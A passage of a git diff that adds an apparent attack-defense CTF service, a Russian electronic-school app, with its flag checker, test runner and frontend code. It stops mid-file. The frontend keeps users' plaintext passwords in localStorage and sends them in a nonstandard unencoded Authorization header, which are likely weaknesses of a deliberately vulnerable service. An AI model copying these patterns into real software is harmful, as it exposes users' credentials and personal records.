run_tests() -> None: + context = TestContext() + + for module in load_cases(): + step_name = getattr(module, "TEST_NAME", module.__name__) + print(f"[step] {step_name}") + + try: + module.run(context) + except Exception: + print(f"Test '{step_name}' run failed") + print(traceback.format_exc()) + sys.exit(1) + + print("[OK] All steps passed") + + +def main() -> None: + parser = argparse.ArgumentParser(description="SRAB automatic test suit.") + parser.add_argument( + "-s", + "--suppress", + default=False, + action="store_true", + help="Suppress server output" + ) + args = parser.parse_args() + + remove_database() + server = start_server(args.suppress) + + try: + wait_for_server() + run_tests() + finally: + stop_server(server) + + +if __name__ == "__main__": + main() diff --git a/checker/checker.py b/checker/checker.py new file mode 100644 index 0000000..0aa73b4 --- /dev/null +++ b/checker/checker.py @@ -0,0 +1,742 @@ +#!/usr/bin/python3 +import errno +import hashlib +import http.client +import json +import random +import socket +import string +import sys +import traceback + + +PORT = 1337 +TIMEOUT = 3.0 + +K_FIRST_NAME = "имя" +K_LAST_NAME = "фамилия" +K_MIDDLE_NAME = "отчество" +K_EDUCATION = "образование" +K_PASSWORD = "пароль" +K_CONFIRM_PASSWORD = "повтор пароля" +K_NEW_PASSWORD = "новый пароль" +K_SNILS = "снилс" +K_PASSPORT = "паспорт" +K_CLASS_NUMBER = "номер" +K_CLASS_LETTER = "буква" +K_CLASSES = "классы" +K_IDENTIFIER = "идентификатор" +K_CREATOR = "создатель" +K_USERNAME = "имя пользователя" +K_LESSONS = "уроки" +K_LESSON_DATE = "дата" +K_LESSON_TITLE = "название" +K_LESSON_HOMEWORK = "домашнее задание" + +LOGIN_SUCCESS = "Рады видеть вас снова :3" + +TEACHER_FIRST_NAMES = [ + "Анна", + "Мария", + "Ольга", + "Елена", + "Светлана", + "Татьяна", + "Юлия", + "Вера", + "Алёна", + "Наталья", +] +TEACHER_LAST_NAMES = [ + "Иванова", + "Петрова", + "Сидорова", + "Федорова", + "Кузнецова", + "Попова", + "Соколова", + "Павлова", + "Зайцева", + "Орлова", +] +TEACHER_MIDDLE_NAMES = [ + "Александровна", + "Сергеевна", + "Игоревна", + "Юрьевна", + "Владимировна", + "Николаевна", + "Павловна", + "Степановна", + "Олеговна", + "Георгиевна", +] +TEACHER_EDUCATIONS = [ + "Математика", + "Физика", + "Химия", + "История", + "Биология", + "География", + "Литература", + "Информатика", +] +STUDENT_FIRST_NAMES = [ + "Артём", + "Борис", + "Виктория", + "Глеб", + "Дарья", + "Егор", + "Злата", + "Илья", + "Кира", + "Лев", + "Маргарита", + "Никита", +] +STUDENT_LAST_NAMES = [ + "Алексеев", + "Белов", + "Васильев", + "Громов", + "Демидов", + "Ершов", + "Журавлёв", + "Зуев", + "Исаев", + "Калинин", + "Лукин", + "Миронов", +] +STUDENT_MIDDLE_NAMES = [ + "Андреевич", + "Борисович", + "Владимирович", + "Геннадьевич", + "Дмитриевич", + "Евгеньевич", + "Иванович", + "Константинович", + "Львович", + "Михайлович", +] +LESSON_TOPICS = [ + "Алгебра", + "Геометрия", + "Физика", + "Химия", + "Биология", + "История", + "Информатика", + "Русский язык", +] +HOMEWORK_PHRASES = [ + "Решить упражнения {token} в тетради.", + "Подготовить сообщение по теме {token}.", + "Прочитать параграф {token} и сделать конспект.", + "Собрать презентацию {token}.", +] +PASSWORD_WORDS = [ + "Секрет", + "Пароль", + "Шифр", + "Тайна", + "Загадка", + "Форт", +] +CLASS_LETTERS = list("АБВГД") + +_ERR_HOSTDOWN = getattr(errno, "EHOSTDOWN", None) +DOWN_ERRNOS = { + value + for value in ( + errno.ECONNREFUSED, + errno.EHOSTUNREACH, + errno.ENETUNREACH, + _ERR_HOSTDOWN, + ) + if value is not None +} + +DEBUG = True + + +def service_up(): + print("[service is worked] - 101") + exit(101) + + +def service_corrupt(): + print("[service is corrupt] - 102") + exit(102) + + +def service_mumble(): + print("[service is mumble] - 103") + exit(103) + + +def service_down(): + print("[service is down] - 104") + exit(104) + + +def debug(message): + if DEBUG: + print(f"[debug] {message}", file=sys.stderr) + + +class CheckerError(Exception): + def __init__(self, verdict, message): + super().__init__(message) + self.verdict = verdict + + +class ApiClient: + def __init__(self, host, port=PORT): + self.host = host + self.port = port + + def request(self, method, path, *, json_body=None, headers=None): + if not path.startswith("/"): + path = "/" + path + hdrs = {} if headers is None else dict(headers) + data = None + if json_body is not None: + data = json.dumps(json_body, ensure_ascii=False).encode("utf-8") + hdrs.setdefault( + "Content-Type", + "application/json; charset=utf-8", + ) + conn = http.client.HTTPConnection( + self.host, + self.port, + timeout=TIMEOUT, + ) + try: + conn.request(method, path, body=data, headers=hdrs) + response = conn.getresponse() + payload = response.read() + text = payload.decode("utf-8", "ignore") + return response.status, text, dict(response.getheaders()) + except socket.timeout as exc: + raise CheckerError(service_mumble, "request timeout") from exc + except OSError as exc: + err_no = exc.errno + if err_no in DOWN_ERRNOS: + raise CheckerError( + service_down, + f"connection error: {exc}", + ) from exc + if err_no == errno.ECONNRESET: + raise CheckerError( + service_mumble, + f"connection reset: {exc}", + ) from exc + raise CheckerError( + service_mumble, + f"network error: {exc}", + ) from exc + except http.client.HTTPException as exc: + raise CheckerError( + service_mumble, + f"http error: {exc}", + ) from exc + finally: + try: + conn.close() + except Exception: + pass + + +def make_seed(flag_id, flag): + digest = hashlib.sha256(f"{flag_id}:{flag}".encode("utf-8")).digest() + return int.from_bytes(digest, "big") + + +def token(rng, length): + alphabet = string.ascii_uppercase + string.digits + return "".join(rng.choice(alphabet) for _ in range(length)) + + +def numeric(rng, length): + return "".join(rng.choice(string.digits) for _ in range(length)) + + +def build_teacher(rng): + suffix = token(rng, 5) + + first = rng.choice(TEACHER_FIRST_NAMES) + suffix + last = rng.choice(TEACHER_LAST_NAMES) + suffix + middle = rng.choice(TEACHER_MIDDLE_NAMES) + suffix + education = rng.choice(TEACHER_EDUCATIONS) + password = rng.choice(PASSWORD_WORDS) + token(rng, 5) + numeric(rng, 2) + username = f"{first}.{last}" + return { + "first": first, + "last": last, + "middle": middle, + "education": education, + "password": password, + "username": username, + } + + +def build_student(rng, flagged, flag): + suffix = token(rng, 3) + first = rng.choice(STUDENT_FIRST_NAMES) + suffix + last = rng.choice(STUDENT_LAST_NAMES) + suffix + middle = rng.choice(STUDENT_MIDDLE_NAMES) + suffix + password = rng.choice(PASSWORD_WORDS) + suffix + numeric(rng, 2) + snils = flag if flagged else numeric(rng, 11) + passport = "P" + numeric(rng, 8) + username = f"{first}.{last}" + return { + "first": first, + "last": last, + "middle": middle, + "password": password, + "snils": snils, + "passport": passport, + "username": username, + "is_flagged": flagged, + } + + +def build_lesson(rng, class_index, lesson_index): + base_day = 1 + class_index * 4 + lesson_index + day = 1 + base_day % 27 + date = f"2025-09-{day:02d}" + topic = rng.choice(LESSON_TOPICS) + " " + token(rng, 2) + homework = rng.choice(HOMEWORK_PHRASES).format(token=token(rng, 3)) + return { + "date": date, + "title": topic, + "homework": homework, + } + + +def generate_plan(flag_id, flag): + rng = random.Random(make_seed(flag_id, flag)) + teacher = build_teacher(rng) + class_count = 1 + rng.randint(0, 2) + class_specs = [] + total_students = 0 + for _ in range(class_count): + student_count = 1 + rng.randint(0, 2) + lesson_count = 2 + rng.randint(0, 1) + class_specs.append( + { + "number": rng.randint(1, 11), + "letter": rng.choice(CLASS_LETTERS), + "student_count": student_count, + "lesson_count": lesson_count, + } + ) + total_students += student_count + flagged_index = rng.randrange(total_students) + current_index = 0 + classes = [] + for class_idx, spec in enumerate(class_specs): + students = [] + for _ in range(spec["student_count"]): + is_flagged = current_index == flagged_index + students.append(build_student(rng, is_flagged, flag)) + current_index += 1 + lessons = [ + build_lesson(rng, class_idx, li) + for li in range(spec["lesson_count"]) + ] + classes.append( + { + "number": spec["number"], + "letter": spec["letter"], + "students": students, + "lessons": lessons, + } + ) + return { + "teacher": teacher, + "classes": classes, + "flag": flag, + } + + +def all_students(plan): + for class_spec in plan["classes"]: + for student in class_spec["students"]: + yield student + + +def make_auth_header(teacher): + return { + "Authorization": ( + f"Basic {teacher['username']} {teacher['password']}".encode( + "utf-8" + ) + ), + } + + +def parse_json_payload(text, context): + try: + return json.loads(text) if text else {} + except json.JSONDecodeError as exc: + raise CheckerError( + service_corrupt, + f"invalid json in {context}: {exc}", + ) from exc + + +def login_teacher(client, teacher): + payload = { + K_USERNAME: teacher["username"], + K_PASSWORD: teacher["password"], + } + status, body, _ = client.request( + "POST", + "/api/users/login", + json_body=payload, + ) + body_text = body.strip() + if status == 200 and body_text == LOGIN_SUCCESS: + return True + if status == 401: + return False + raise CheckerError( + service_corrupt, + f"unexpected login status {status} body={body_text!r}", + ) + + +def ensure_teacher(client, plan): + teacher = plan["teacher"] + if login_teacher(client, teacher): + return make_auth_header(teacher) + payload = { + K_FIRST_NAME: teacher["first"], + K_LAST_NAME: teacher["last"], + K_MIDDLE_NAME: teacher["middle"], + K_EDUCATION: teacher["education"], + K_PASSWORD: teacher["password"], + K_CONFIRM_PASSWORD: teacher["password"], + } + status, _, _ = client.request("POST", "/api/users", json_body=payload) + if status != 201: + raise CheckerError( + service_corrupt, + f"teacher create failed with status {status}", + ) + if not login_teacher(client, teacher): + raise CheckerError( + service_corrupt, + "teacher login failed after registration", + ) + return make_auth_header(teacher) + + +def fetch_classes(client, auth): + status, body, _ = client.request("GET", "/api/classes", headers=auth) + if status != 200: + raise CheckerError( + service_corrupt, + f"unexpected classes status {status}", + ) + data = parse_json_payload(body, "classes list") + classes = data.get(K_CLASSES, []) + if not isinstance(classes, list): + raise CheckerError(service_corrupt, "classes payload malformed") + return classes + + +def find_class(classes, number, letter): + for entry in classes: + if ( + isinstance(entry, dict) + and entry.get(K_CLASS_NUMBER) == number + and entry.get(K_CLASS_LETTER) == letter + ): + return entry + return None + + +def ensure_classes(client, plan, auth): + classes_payload = fetch_classes(client, auth) + for class_spec in plan["classes"]: + existing = find_class( + classes_payload, + class_spec["number"], + class_spec["letter"], + ) + if existing is None: + payload = { + K_CLASS_NUMBER: class_spec["number"], + K_CLASS_LETTER: class_spec["letter"], + } + status, body, _ = client.request( + "POST", + "/api/classes", + json_body=payload, + headers=auth, + ) + if status != 201: + raise CheckerError( + service_corrupt, + f"class create failed with status {status}", + ) + created = parse_json_payload(body, "class create") + classes_payload.append(created) + class_spec["id"] = int(created.get(K_IDENTIFIER)) + else: + class_spec["id"] = int(existing.get(K_IDENTIFIER)) + + +def fetch_students(client, auth): + status, body, _ = client.request("GET", "/api/students", headers=auth) + if status != 200: + raise CheckerError( + service_corrupt, + f"unexpected students status {status}", + ) + data = parse_json_payload(body, "students list") + students = data.get("\u0443\u0447\u0435\u043d\u0438\u043a\u0438", []) + if not isinstance(students, list): + raise CheckerError(service_corrupt, "students payload malformed") + return students + + +def ensure_students(client, plan, auth): + student_specs = list(all_students(plan)) + if not student_specs: + return + students_payload = fetch_students(client, auth) + snils_map = { + entry.get(K_SNILS): entry + for entry in students_payload + if isinstance(entry, dict) + } + missing = [ + spec + for spec in student_specs + if spec["snils"] not in snils_map + ] + for spec in missing: + payload = { + K_FIRST_NAME: spec["first"], + K_LAST_NAME: spec["last"], + K_MIDDLE_NAME: spec["middle"], + K_PASSWORD: spec["password"], + K_CONFIRM_PASSWORD: spec["password"], + K_SNILS: spec["snils"], + K_PASSPORT: spec["passport"], + } + status, _, _ = client.request( + "POST", + "/api/students", + json_body=payload, + headers=auth, + ) + if status != 201: + raise CheckerError( + service_corrupt, + f"student create failed with status {status}", + ) + if missing: + students_payload = fetch_students(client, auth) + snils_map = { + entry.get(K_SNILS): entry + for entry in students_payload + if isinstance(entry, dict) + } + for spec in student_specs: + entry = snils_map.get(spec["snils"]) + if entry is None: + raise CheckerError( + service_corrupt, + "student missing after creation", + ) + spec["id"] = int(entry.get(K_IDENTIFIER)) + + +def add_students_to_classes(client, plan, auth): + for class_spec in plan["classes"]: + class_id = class_spec.get("id") + if class_id is None: + raise CheckerError( + service_corrupt, + "class id missing during assignment", + ) + for student in class_spec["students"]: + student_id = student.get("id") + if student_id is None: + raise CheckerError( + service_corrupt, + "student id missing during assignment", + ) + path = f"/api/classes/{class_id}/students/{student_id}" + status, _, _ = client.request("POST", path, headers=auth) + if status not in (201, 422): + raise CheckerError( + service_corrupt, + f"assignment failed with status {status}", + ) + + +def fetch_lessons(client, auth, class_id): + path = f"/api/classes/{class_id}/lessons" + status, body, _ = client.request("GET", path, headers=auth) + if status != 200: + raise CheckerError( + service_corrupt, + f"unexpected lessons status {status}", + ) + data = parse_json_payload(body, "lessons list") + lessons = data.get(K_LESSONS, []) + if not isinstance(lessons, list): + raise CheckerError(service_corrupt, "lessons payload malformed") + return lessons + + +def match_lesson(entry, lesson_spec): + return ( + isinstance(entry, dict) + and entry.get(K_LESSON_DATE) == lesson_spec["date"] + and entry.get(K_LESSON_TITLE) == lesson_spec["title"] + ) + + +def ensure_lessons(client, plan, auth): + for class_spec in plan["classes"]: + class_id = class_spec.get("id") + if class_id is None: + raise CheckerError(service_corrupt, "class id missing for lessons") + lessons_payload = fetch_lessons(client, auth, class_id) + for lesson_spec in class_spec["lessons"]: + existing = None + for entry in lessons_payload: + if match_lesson(entry, lesson_spec): + existing = entry + break + if existing is None: + payload = { + K_LESSON_DATE: lesson_spec["date"], + K_LESSON_TITLE: lesson_spec["title"], + K_LESSON_HOMEWORK: lesson_spec["homework"], + } + status, body, _ = client.request( + "POST", + f"/api/classes/{class_id}/lessons", + json_body=payload, + headers=auth, + ) + if status != 201: + raise CheckerError( + service_corrupt, + f"lesson create failed with status {status}", + ) + created = parse_json_payload(body, "lesson create") + lessons_payload.append(created) + + +def perform_put(client, plan): + auth = ensure_teacher(client, plan) + ensure_classes(client, plan, auth) + ensure_students(client, plan, auth) + add_students_to_classes(client, plan, auth) + ensure_lessons(client, plan, auth) + + +def verify_classes(client, plan, auth): + classes_payload = fetch_classes(client, auth) + for class_spec in plan["classes"]: + entry = find_class( + classes_payload, + class_spec["number"], + class_spec["letter"], + ) + if entry is None: + raise CheckerError(service_corrupt, "expected class missing") + class_spec["id"] = int(entry.get(K_IDENTIFIER)) + lessons_payload = fetch_lessons(client, auth, class_spec["id"]) + for lesson_spec in class_spec["lessons"]: + if not any( + match_lesson(item, lesson_spec) + for item in lessons_payload + ): + raise CheckerError(service_corrupt, "expected lesson missing") + + +def verify_students(client, plan, auth): + students_payload = fetch_students(client, auth) + snils_map = { + entry.get(K_SNILS): entry + for entry in students_payload + if isinstance(entry, dict) + } + for student in all_students(plan): + entry = snils_map.get(student["snils"]) + if entry is None: + raise CheckerError(service_corrupt, "expected student missing") + if entry.get(K_FIRST_NAME) != student["first"]: + raise CheckerError(service_corrupt, "student first name mismatch") + if entry.get(K_LAST_NAME) != student["last"]: + raise CheckerError(service_corrupt, "student last name mismatch") + if entry.get(K_MIDDLE_NAME) != student["middle"]: + raise CheckerError(service_corrupt, "student middle name mismatch") + if entry.get(K_PASSPORT) != student["passport"]: + raise CheckerError(service_corrupt, "student passport mismatch") + if entry.get(K_USERNAME) != student["username"]: + raise CheckerError(service_corrupt, "student username mismatch") + if student["is_flagged"] and entry.get(K_SNILS) != plan["flag"]: + raise CheckerError(service_corrupt, "flag storage mismatch") + + +def perform_check(client, plan): + teacher = plan["teacher"] + if not login_teacher(client, teacher): + raise CheckerError(service_corrupt, "teacher credentials rejected") + auth = make_auth_header(teacher) + verify_classes(client, plan, auth) + verify_students(client, plan, auth) + + +if len(sys.argv) != 5: + print( + f"\nUsage:\n\t{sys.argv[0]} (put|check) \n", + file=sys.stderr, + ) + exit(1) + + +def main(): + host = sys.argv[1] + command = sys.argv[2] + flag_id = sys.argv[3] + flag = sys.argv[4] + + plan = generate_plan(flag_id, flag) + client = ApiClient(host) + + try: + if command == "put": + perform_put(client, plan) + perform_check(client, plan) + service_up() + elif command == "check": + perform_check(client, plan) + service_up() + else: + raise CheckerError(service_corrupt, f"unknown command {command!r}") + except CheckerError as err: + debug(f"failure: {err}") + debug(traceback.format_exc()) + err.verdict() + except Exception as exc: + debug(f"unexpected error: {exc}") + debug(traceback.format_exc()) + service_mumble() + + +if __name__ == "__main__": + main() diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..a5104ba --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,8 @@ +services: + srab: + build: . + tty: true + ports: + - "1337:1337" + volumes: + - ./var:/app/var diff --git a/frontend/app.js b/frontend/app.js new file mode 100644 index 0000000..2e3ec64 --- /dev/null +++ b/frontend/app.js @@ -0,0 +1,36 @@ +import { routerNavigate, route } from "./router.js"; +import { + loadSession, + clearSession, + setTopUser, + setLogoutVisible, +} from "./utils.js"; +import "./views/auth.js"; +import "./views/teacher.js"; +import "./views/student.js"; + +route("/404", async ({ view }) => { + const card = document.createElement("div"); + card.className = "card"; + card.innerHTML = `
Страница не найдена
Нет такой страницы
`; + view.appendChild(card); +}); + +function initTop() { + const s = loadSession(); + if (s) { + setTopUser(s.username); + setLogoutVisible(true); + } + document.getElementById("btn-logout").addEventListener("click", () => { + clearSession(); + setTopUser(""); + setLogoutVisible(false); + location.hash = "#/auth/login"; + }); +} + +window.addEventListener("DOMContentLoaded", () => { + initTop(); + routerNavigate(); +}); diff --git a/frontend/index.html b/frontend/index.html new file mode 100644 index 0000000..5423962 --- /dev/null +++ b/frontend/index.html @@ -0,0 +1,53 @@ + + + + + + Электронная школа — SRAB + + + + + +
+
+
+ + Электронная Школа +
+
+
+
+ +
+
+ + +
+ + + + diff --git a/frontend/kek.js b/frontend/kek.js new file mode 100644 index 0000000..8391546 --- /dev/null +++ b/frontend/kek.js @@ -0,0 +1,140 @@ +const API_BASE = (localStorage.getItem("srab.apiBase") || "").replace( + /\/$/, + "" +); + +function buildAuthHeader(session) { + if (!session || !session.username || !session.password) return {}; + return { Authorization: `Basic ${session.username} ${session.password}` }; +} + +async function apiFetch( + path, + { method = "GET", body, session, headers = {} } = {} +) { + const url = `${API_BASE}${path}`; + const h = { + "Content-Type": "application/json", + ...buildAuthHeader(session), + ...headers, + }; + const opts = { method, headers: h }; + if (body !== undefined) + opts.body = typeof body === "string" ? body : JSON.stringify(body); + + const res = await fetch(url, opts); + let data = null; + const ct = res.headers.get("content-type") || ""; + data = await res.text(); + try { + data = JSON.parse(data); + } catch (e) {} + + if (!res.ok) { + const err = new Error( + (data && (data.message || data.error)) || `HTTP ${res.status}` + ); + err.status = res.status; + err.data = data; + throw err; + } + return { status: res.status, data }; +} + +export const Api = { + base: API_BASE, + setBase(url) { + localStorage.setItem("srab.apiBase", url); + }, + + async login({ username, password }) { + const session = { username, password }; + const { data } = await apiFetch("/api/users/login", { + method: "POST", + session, + body: { "имя пользователя": username, пароль: password }, + }); + return { session, message: data }; + }, + async registerTeacher(payload) { + return apiFetch("/api/users", { method: "POST", body: payload }); + }, + async changePassword(session, newPassword) { + return apiFetch("/api/users/password", { + method: "PUT", + session, + body: { "новый пароль": newPassword }, + }); + }, + + async listTeachers(session, page) { + return apiFetch( + `/api/teachers${page ? `?страница=${encodeURIComponent(page)}` : ""}`, + { session } + ); + }, + + async createStudent(session, payload) { + return apiFetch("/api/students", { + method: "POST", + session, + body: payload, + }); + }, + async listStudents(session, teacherId) { + const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : ""; + return apiFetch(`/api/students${q}`, { session }); + }, + async getStudent(session, id) { + return apiFetch(`/api/students/${id}`, { session }); + }, + async deleteStudent(session, id) { + return apiFetch(`/api/students/${id}`, { method: "DELETE", session }); + }, + + async listClasses(session, teacherId) { + const q = teacherId ? `?учитель=${encodeURIComponent(teacherId)}` : ""; + return apiFetch(`/api/classes${q}`, { session }); + }, + async createClass(session, payload) { + return apiFetch("/api/classes", { method: "POST", session, body: payload }); + }, + async deleteClass(session, classId) { + return apiFetch(`/api/classes/${classId}`, { method: "DELETE", session }); + }, + async addStudentToClass(session, classId, studentId) { + return apiFetch(`/api/classes/${classId}/students/${studentId}`, { + method: "POST", + session, + }); + }, + async removeStudentFromClass(session, classId, studentId) { + return apiFetch(`/api/classes/${classId}/students/${studentId}`, { + method: "DELETE", + session, + }); + }, + + async createLesson(session, classId, payload) { + return apiFetch(`/api/classes/${classId}/lessons`, { + method: "POST", + session, + body: payload, + }); + }, + async listLessons(session, classId, date) { + const q = date ? `?date=${encodeURIComponent(date)}` : ""; + return apiFetch(`/api/classes/${classId}/lessons${q}`, { session }); + }, + async listLessonsByDate(session, classId, date) { + return apiFetch(`/api/classes/${classId}/lessons/date/${date}`, { + session, + }); + }, + async deleteLessonById(session, classId, lessonId) { + return apiFetch(`/api/classes/${classId}/lessons/${lessonId}`, { + method: "DELETE", + session, + }); + }, +}; diff --git a/frontend/router.js b/frontend/router.js new file mode 100644 index 0000000..79b736f --- /dev/null +++ b/frontend/router.js @@ -0,0 +1,23 @@ +const routes = {}; +export function route(path, handler) { + routes[path] = handler; +} + +function parseHash() { + const h = location.hash.replace(/^#/, ""); + const parts = h.split("?"); + const path = parts[0] || "/dashboard"; + const search = new URLSearchParams(parts[1] || ""); + return { path, search }; +} + +export async function routerNavigate() { + const { path, search } = parseHash(); + const view = document.getElementById("view"); + const handler = routes[path] || routes["/404"]; + view.innerHTML = ""; + await handler({ view, search }); + window.scrollTo(0, 0); +} + +window.addEventListener("hashchange", routerNavigate); diff --git a/frontend/srab.jpg b/frontend/srab.jpg new file mode 100644 index 0000000..c388fcb Binary files /dev/null and b/frontend/srab.jpg differ diff --git a/frontend/styles.css b/frontend/styles.css new file mode 100644 index 0000000..648187b --- /dev/null +++ b/frontend/styles.css @@ -0,0 +1,236 @@ +:root { + --bg: #f6f1df; + --accent: #d6b87a; + --accent-strong: #c39a3a; + --text: #3a3a3a; + --muted: #8a8a8a; + --panel: #fffaf0; + --border: #e0d7c4; + --ok: #3aa76d; + --warn: #c97c2a; + --danger: #c43e3e; +} +* { + box-sizing: border-box; +} +html, +body { + height: 100%; +} +body { + margin: 0; + font-family: system-ui, -apple-system, Segoe UI, Roboto, Ubuntu, Cantarell, + "Noto Sans", sans-serif; + background: var(--bg); + color: var(--text); +} +.topbar { + display: flex; + align-items: center; + justify-content: space-between; + padding: 8px 16px; + background: var(--accent); + color: #fff; + border-bottom: 2px solid var(--accent-strong); +} +.topbar .brand { + display: flex; + align-items: center; + gap: 10px; + font-weight: 600; +} +.topbar .logo { + filter: grayscale(20%); +} +.topbar .top-actions { + display: flex; + align-items: center; + gap: 16px; +} +.topbar .linklike { + background: none; + border: none; + color: #fff; + cursor: pointer; + text-decoration: underline; +} + +.layout { + display: grid; + grid-template-columns: 240px 1fr; + min-height: calc(100vh - 44px); +} +.sidebar { + background: var(--panel); + border-right: 1px solid var(--border); + padding: 10px 0; +} +.sidebar .menu-title { + padding: 10px 16px; + color: var(--muted); + text-transform: uppercase; + font-size: 12px; +} +.sidebar ul { + list-style: none; + margin: 0; + padding: 0; +} +.sidebar li { + border-top: 1px solid var(--border); +} +.sidebar li.sep { + height: 10px; + border: none; +} +.sidebar a { + display: block; + padding: 12px 16px; + color: var(--text); + text-decoration: none; +} +.sidebar a:hover { + background: #fff; +} + +.content { + padding: 16px; +} +.card { + background: #fff; + border: 1px solid var(--border); + border-radius: 6px; + box-shadow: 0 1px 0 rgba(0, 0, 0, 0.03); +} +.card .card-header { + padding: 12px 16px; + border-bottom: 1px solid var(--border); + background: #fffdf7; + font-weight: 600; +} +.card .card-body { + padding: 16px; +} + +.form-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); + gap: 12px; +} +.input { + display: flex; + flex-direction: column; + gap: 6px; +} +.input label { + color: var(--muted); + font-size: 12px; +} +.input input, +.input select, +.input textarea { + padding: 10px; + border: 1px solid var(--border); + border-radius: 6px; + background: #fff; +} +.actions { + display: flex; + gap: 8px; + margin-top: 12px; +} +.btn { + background: var(--accent-strong); + color: #fff; + border: none; + border-radius: 6px; + padding: 10px 14px; + cursor: pointer; +} +.btn.secondary { + background: #8b8b8b; +} +.btn.danger { + background: var(--danger); +} + +.table { + width: 100%; + border-collapse: collapse; +} +.table th, +.table td { + padding: 10px; + border-bottom: 1px solid var(--border); + text-align: left; +} +.table th { + background: #fffdf7; + color: var(--muted); + font-weight: 600; + font-size: 13px; +} +.badge { + display: inline-block; + padding: 2px 6px; + border-radius: 10px; + font-size: 12px; + background: #eee; +} +.badge.ok { + background: #e6f6ed; + color: var(--ok); +} +.badge.warn { + background: #fff1e3; + color: var(--warn); +} + +.notice { + padding: 10px 14px; + border: 1px solid var(--border); + border-radius: 6px; + background: #fffbe6; +} +.error { + padding: 10px 14px; + border: 1px solid var(--danger); + border-radius: 6px; + background: #fff0f0; + color: var(--danger); +} + +.tabs { + display: flex; + gap: 8px; + border-bottom: 1px solid var(--border); + margin-bottom: 12px; +} +.tabs a { + padding: 8px 12px; + text-decoration: none; + color: var(--text); + border: 1px solid transparent; + border-radius: 6px 6px 0 0; +} +.tabs a.active { + background: #fff; + border-color: var(--border); + border-bottom-color: #fff; +} + +.small { + font-size: 12px; + color: var(--muted); +} +.grid-two { + display: grid; + grid-template-columns: 360px 1fr; + gap: 16px; +} +.hidden { + display: none !important; +} +.center { + text-align: center; +} diff --git a/frontend/utils.js b/frontend/utils.js new file mode 100644 index 0000000..8c62c24 --- /dev/null +++ b/frontend/utils.js @@ -0,0 +1,112 @@ +export const $ = (sel, root = document) => root.querySelector(sel); +export const $$ = (sel, root = document) => + Array.from(root.querySelectorAll(sel)); + +export function el(tag, attrs = {}, children = []) { + const node = document.createElement(tag); + Object.entries(attrs).forEach(([k, v]) => { + if (k === "class") node.className = v; + else if (k.startsWith("on") && typeof v === "function") + node.addEventListener(k.slice(2), v); + else if (v !== undefined && v !== null) node.setAttribute(k, v); + }); + for (const ch of Array.isArray(children) ? children : [children]) { + if (typeof ch === "string") node.appendChild(document.createTextNode(ch)); + else if (ch) node.appendChild(ch); + } + return node; +} + +export function formToJSON(form) { + const data = {}; + const coerceNumberIfNeeded = (key, value) => { + const field = form.elements.namedItem(key); + let isNumber = false; + let integerOnly = false; + + const inspect = (el) => { + if (!el) return; + if (el.getAttribute && el.getAttribute("data-type") === "number") { + isNumber = true; + } + if (el.getAttribute && el.getAttribute("data-integer") === "true") { + isNumber = true; + integerOnly = true; + } + if (el.tagName === "INPUT") { + const type = (el.type || "").toLowerCase(); + if (type === "number") { + isNumber = true; + const step = el.step; + if ( + step && + (step === "1" || (!step.includes(".") && step !== "any")) + ) { + integerOnly = true; + } + } + } + }; + + if ( + field && + typeof RadioNodeList !== "undefined" && + field instanceof RadioNodeList + ) { + inspect(field[0]); + } else { + inspect(field); + } + + if (isNumber) { + if (value === "" || value === null) return null; + const n = Number(value); + if (Number.isNaN(n)) return null; + return integerOnly ? Math.trunc(n) : n; + } + return value; + }; + + new FormData(form).forEach((v, k) => { + const val = coerceNumberIfNeeded(k, v); + if (data[k] !== undefined) { + if (!Array.isArray(data[k])) data[k] = [data[k]]; + data[k].push(val); + } else data[k] = val; + }); + return data; +} + +export function saveSession(session) { + localStorage.setItem("srab.session", JSON.stringify(session)); +} +export function loadSession() { + try { + return JSON.parse(localStorage.getItem("srab.session")) || null; + } catch { + return null; + } +} +export function clearSession() { + localStorage.removeItem("srab.session"); +} + +export function setTopUser(text) { + $("#top-user").textContent = text || ""; +} +export function setLogoutVisible(vis) { + $("#btn-logout").hidden = !vis; +} + +export function setAvg(text) { + const n = $("#top-avg"); + n.textContent = text || ""; + n.className = "avg badge ok"; +} + +export function fmtDateInput(d = new Date()) { + const yyyy = d.getFullYear(); + const mm = String(d.getMonth() + 1).padStart(2, "0"); + const dd = String(d.getDate()).padStart(2, "0"); + return `${yyyy}-${mm}-${dd}`; +} diff --git a/frontend/views/auth.js b/frontend/views/auth.js new file mode 100644 index 0000000..242f400 --- /dev/null +++ b/frontend/views/auth.js @@ -0,0 +1,86 @@ +import { route } from "../router.js"; +import { Api } from "../kek.js"; +import { + saveSession, + setTopUser, + setLogoutVisible, + formToJSON, +} from "../utils.js"; + +function loginView() { + const card = document.createElement("div"); + card.className = "card"; + card.innerHTML = ` +
Вход
+
+
+
+
+ + +
+
`; + const form = card.querySelector("#login-form"); + form.addEventListener("submit", async (e) => { + e.preventDefault(); + const { username, password } = Object.fromEntries(new FormData(form)); + try { + const { session } = await Api.login({ username, password }); + saveSession(session); + setTopUser(username); + setLogoutVisible(true); + location.hash = "#/dashboard"; + } catch (err) { + const box = card.querySelector("#login-error"); + box.classList.remove("hidden"); + box.textContent = err.message || "Не удалось войти"; + } + }); + return card; +} + +function registerView() { + const card = document.createElement("div"); + card.className = "card"; + card.innerHTML = ` +
Регистрация учителя
+
+
+
+
+
+
+
+
+
+ + +
+
`; + card.querySelector("#reg-form").addEventListener("submit", async (e) => { + e.preventDefault(); + const payload = formToJSON(e.target); + try { + await Api.registerTeacher(payload); + const msg = card.querySelector("#reg-msg"); + msg.classList.remove("hidden"); + msg.textContent = "Учитель создан. Теперь можно войти."; + card.querySelector("#reg-err").classList.add("hidden"); + } catch (err) { + const errBox = card.querySelector("#reg-err"); + errBox.classList.remove("hidden"); + errBox.textContent = err.message || "Ошибка регистрации"; + } + }); + return card; +} + +route("/auth/login", async ({ view }) => { + view.appendChild(loginView()); +}); +route("/auth/register", async ({ view }) => { + view.appendChild(registerView()); +}); diff --git a/frontend/views/student.js b/frontend/views/student.js new file mode 100644 index 0000000..66aac3a --- /dev/null +++ b/frontend/views/student.js @@ -0,0 +1,98 @@ +import { route } from "../router.js"; +import { Api } from "../kek.js"; +import { el, $, loadSession } from "../utils.js"; + +function needSession() { + const s = loadSession(); + if (!s) location.hash = "#/auth/login"; + return s; +} + +function studentDashboard(session) { + const card = el("div", { class: "card" }, [ + el("div", { class: "card-header" }, "Дневник ученика"), + el("div", { class: "card-body" }, [ + (() => { + const box = el("div", { 